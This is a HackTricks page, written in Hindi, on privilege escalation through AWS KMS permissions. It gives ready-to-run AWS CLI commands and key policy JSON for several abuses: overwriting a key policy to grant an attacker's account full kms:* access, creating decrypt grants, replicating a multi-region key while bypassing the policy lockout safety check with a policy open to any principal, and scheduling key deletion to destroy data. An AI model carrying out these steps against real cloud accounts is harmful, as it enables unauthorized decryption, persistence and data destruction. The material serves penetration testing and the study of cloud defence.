AWS - KMS Privesc

HackTricks को समर्थन दें

KMS

KMS के बारे में अधिक जानकारी के लिए देखें:

AWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

इन अनुमतियों के साथ, कुंजी के एक्सेस अनुमतियों को संशोधित करना संभव है ताकि इसे अन्य खातों या यहां तक कि किसी के द्वारा भी उपयोग किया जा सके:

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json
policy.json:
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "kms:CreateKey",
                "kms:DescribeKey",
                "kms:EnableKey",
                "kms:ListKeys",
                "kms:ListAliases",
                "kms:ScheduleKeyDeletion",
                "kms:CancelKeyDeletion",
                "kms:PutKeyPolicy",
                "kms:ListKeyPolicies",
                "kms:DescribeKey",
                "kms:EnableKeyRotation",
                "kms:DisableKeyRotation",
                "kms:RevokeGrant",
                "kms:ListGrants",
                "kms:CreateGrant",
                "kms:RetireGrant",
                "kms:ListRetirableGrants"
            ],
            "Resource": "*"
        }
    ]
}
## KMS CreateKey

यदि आपके पास `kms:CreateKey` अनुमति है, तो आप एक नया KMS कुंजी बना सकते हैं और उस पर पूर्ण नियंत्रण प्राप्त कर सकते हैं। यह आपको अन्य संसाधनों पर हमला करने के लिए इस कुंजी का उपयोग करने की अनुमति देता है।

## KMS PutKeyPolicy

`kms:PutKeyPolicy` अनुमति के साथ, आप किसी मौजूदा कुंजी की नीति को बदल सकते हैं और अपने आप को या किसी अन्य उपयोगकर्ता को उस कुंजी पर पूर्ण नियंत्रण दे सकते हैं।

## KMS ScheduleKeyDeletion

`kms:ScheduleKeyDeletion` अनुमति के साथ, आप किसी कुंजी को हटाने के लिए शेड्यूल कर सकते हैं। यह महत्वपूर्ण डेटा को नष्ट कर सकता है और सेवाओं को बाधित कर सकता है जो उस कुंजी पर निर्भर हैं।

## KMS ListKeys

`kms:ListKeys` अनुमति के साथ, आप खाते में सभी कुंजियों की सूची प्राप्त कर सकते हैं। यह जानकारी आपको अन्य कुंजियों पर हमले की योजना बनाने में मदद कर सकती है।

## KMS ListAliases

`kms:ListAliases` अनुमति के साथ, आप खाते में सभी कुंजियों के उपनामों की सूची प्राप्त कर सकते हैं। यह जानकारी आपको कुंजियों की पहचान करने और उन पर हमले की योजना बनाने में मदद कर सकती है।
{
"Version" : "2012-10-17",
"Id" : "key-consolepolicy-3",
"Statement" : [
{
"Sid" : "Enable IAM User Permissions",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<origin_account>:root"
},
"Action" : "kms:*",
"Resource" : "*"
},
{
"Sid" : "Allow all use",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : [ "kms:*" ],
"Resource" : "*"
}
]
}

kms:CreateGrant

यह किसी प्रिंसिपल को KMS कुंजी का उपयोग करने की अनुमति देता है:

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

एक ग्रांट केवल कुछ प्रकार के ऑपरेशन्स की अनुमति दे सकता है: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

ध्यान दें कि ग्रांट जनरेट होने के बाद KMS को यूजर को की का उपयोग करने की अनुमति देने में कुछ मिनट लग सकते हैं। एक बार वह समय बीत जाने के बाद, प्रिंसिपल KMS की का उपयोग बिना कुछ निर्दिष्ट किए कर सकता है। हालांकि, यदि ग्रांट का तुरंत उपयोग करना आवश्यक है तो ग्रांट टोकन का उपयोग करें (निम्नलिखित कोड देखें)। अधिक जानकारी के लिए इसे पढ़ें

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

ध्यान दें कि keys के grant को list करना संभव है:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

इन अनुमतियों के साथ, एक अलग क्षेत्र में एक बहु-क्षेत्र सक्षम KMS कुंजी को एक अलग नीति के साथ प्रतिलिपि बनाना संभव है।

इसलिए, एक हमलावर इसका दुरुपयोग करके कुंजी तक अपनी पहुंच प्राप्त कर सकता है और इसका उपयोग कर सकता है

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

यह अनुमति किसी कुंजी का उपयोग करके कुछ जानकारी को डिक्रिप्ट करने की अनुमति देती है। अधिक जानकारी के लिए देखें:

AWS - KMS Post Exploitation
HackTricks को समर्थन दें

Last updated